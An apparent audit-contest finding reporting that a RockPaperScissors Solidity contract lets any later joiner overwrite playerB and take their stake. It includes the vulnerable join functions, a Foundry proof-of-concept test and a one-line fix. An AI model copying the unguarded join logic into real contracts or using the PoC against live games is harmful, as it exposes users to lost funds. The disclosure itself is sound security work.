Submission Details
Severity:
New Players can replace an existing joined player causing them not to participate in game and loosing their money
Summary: In RockPaperScissors::joinGameWithEth and RockPaperScissors::joinGameWithToken after a player joined a game by giving a bet money or token there is no prevention to protect the joined player from getting replaced, so other players can just join the game and replace the original player who joined the game causing them to not participate in the game and loose their bet money or token to the protocol.
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
@> // no-checks if the game.playerB exists
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
function joinGameWithToken(uint256 _gameId) external {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
@> // no-checks if the game.playerB exists
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(game.bet == 0, "This game requires ETH bet");
require(winningToken.balanceOf(msg.sender) >= 1, "Must have winning token");
// Transfer token to contract
winningToken.transferFrom(msg.sender, address(this), 1);
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
Vulnerability Details: No checks for existing joined players to not get replaced
Impact: Joined Players will be replaced causing them to not participate in the game and loosing their asset
Proof of Concept:
player join the game
other players just come and replace them by joining the game
this vicious cycle could continue
Proof of Code: add this code to your RockPaperScissorsTest.t.sol test suit
Code
contract RockPaperScissorsTest is Test {
address public replacer;
function setUp() public {
replacer = makeAddr("replacer");
vm.deal(replacer, 10 ether);
vm.prank(address(game));
token.mint(replacer, 10);
}
function test_ReplacePlayerInGameWithEth() public {
// First create a game
vm.prank(playerA);
gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
(address storedPlayerA,,,,,,,,,,,,,,,) = game.games(gameId);
// Now join the game
vm.startPrank(playerB);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerB);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
// Now Other Rejoin the game
vm.startPrank(replacer);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, replacer);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
// Verify game state
(, address storedPlayerB,,,,,,,,,,,,,,) = game.games(gameId);
assertEq(address(game).balance, BET_AMOUNT * 3);
assertEq(playerB.balance, (10 ether - BET_AMOUNT));
assertEq(storedPlayerA, playerA);
assertEq(storedPlayerB, replacer);
assert(storedPlayerB != playerB);
}
function test_ReplacePlayerInGameWithToken() public {
// First create a game with token
vm.startPrank(playerA);
token.approve(address(game), 1);
gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
(address storedPlayerA,,,,,,,,,,,,,,,) = game.games(gameId);
// Now join the game with token
vm.startPrank(playerB);
token.approve(address(game), 1);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerB);
game.joinGameWithToken(gameId);
vm.stopPrank();
// Verify token transfer
assertEq(token.balanceOf(playerB), 9);
assertEq(token.balanceOf(address(game)), 2);
// Now Other Rejoin the game
vm.startPrank(replacer);
token.approve(address(game), 1);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, replacer);
game.joinGameWithToken(gameId);
vm.stopPrank();
// Verify replaced player and token transfers
(, address storedPlayerB,,,,,,,,,,,,,,) = game.games(gameId);
assertEq(token.balanceOf(playerA), (10 - 1));
assertEq(token.balanceOf(playerB), (10 - 1));
assertEq(token.balanceOf(replacer), (10 - 1));
assertEq(token.balanceOf(address(game)), 3);
assertEq(storedPlayerA, playerA);
assertEq(storedPlayerB, replacer);
assert(storedPlayerB != playerB);
}
}
Tools Used: Manual Review
Recommendation: Adding a line to checks if there is a player already joined or not prevents this bug from happening
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
+ require(game.playerB == address(0), "Number of game players is full");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
// @audit-info there is no function with external call to easily call game.bet for simple players
require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
function joinGameWithToken(uint256 _gameId) external {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
+ require(game.playerB == address(0), "Number of game players is full");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(game.bet == 0, "This game requires ETH bet");
require(winningToken.balanceOf(msg.sender) >= 1, "Must have winning token");
// Transfer token to contract
winningToken.transferFrom(msg.sender, address(this), 1);
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
Updates
Appeal created
m3dython about 1 month ago
Submission Judgement Published Assigned finding tags:
Absence of State Change on Join Allows Player B Hijacking
Game state remains Created after a player joins
Rewards breakdown
nSLOC
349This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.